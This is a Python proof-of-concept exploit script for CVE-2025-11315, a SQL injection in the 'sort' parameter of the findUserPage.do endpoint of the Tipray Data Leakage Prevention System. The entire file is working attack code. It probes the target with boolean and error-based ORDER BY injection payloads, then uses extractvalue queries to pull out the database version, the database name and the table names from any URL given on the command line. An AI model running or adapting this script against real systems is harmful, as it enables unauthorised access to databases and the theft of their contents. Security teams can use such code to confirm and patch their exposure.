# CVE-2025-11315 - Tipray Data Leakage Prevention System SQL Injection PoC
# Vulnerability: SQL Injection via sort parameter in findUserPage.do
# Author: Security Researcher
import requests
import sys
TARGET_URL = "http://target-host:port"
VULNERABLE_ENDPOINT = "/findUserPage.do"
def exploit_sqli(target_url, sort_payload):
"""
Exploit SQL injection in the sort parameter of findUserPage function.
The sort parameter is directly concatenated into SQL query without sanitization.
"""
url = target_url + VULNERABLE_ENDPOINT
# Construct malicious sort parameter with SQL injection payload
# Using ORDER BY injection technique via sort parameter
params = {
"sort": sort_payload,
"page": "1",
"rows": "10"
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.get(url, params=params, headers=headers, timeout=10)
return response
except requests.exceptions.RequestException as e:
print(f"[ERROR] Request failed: {e}")
return None
def detect_injection(target_url):
"""Detect if the target is vulnerable to SQL injection"""
# Test payloads for ORDER BY based SQL injection
payloads = [
"id", # Normal request
"id ASC", # Normal sort
"id AND 1=1", # Boolean true test
"id AND 1=2", # Boolean false test
"id,(SELECT 1)", # Error-based detection
"id AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)", # Extract database name
]
for payload in payloads:
print(f"[*] Testing payload: {payload[:50]}...")
response = exploit_sqli(target_url, payload)
if response and ("Duplicate entry" in response.text or "error" in response.text.lower()):
print(f"[+] Target is vulnerable! Database info may be leaked.")
print(response.text[:500])
return True
return False
def extract_data(target_url):
"""Extract sensitive data from the database"""
# Error-based injection to extract database version
payload = "id AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))"
response = exploit_sqli(target_url, payload)
if response:
print(f"[+] Database version info:")
print(response.text)
# Extract current database name
payload = "id AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))"
response = exploit_sqli(target_url, payload)
if response:
print(f"[+] Current database:")
print(response.text)
# Extract table names
payload = "id AND extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))"
response = exploit_sqli(target_url, payload)
if response:
print(f"[+] Table names:")
print(response.text)
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} http://192.168.1.100:8080")
sys.exit(1)
target = sys.argv[1]
print(f"[*] Target: {target}")
print(f"[*] CVE-2025-11315 SQL Injection Exploit")
print("-" * 50)
if detect_injection(target):
extract_data(target)
else:
print("[-] Target may not be vulnerable or payload needs adjustment.")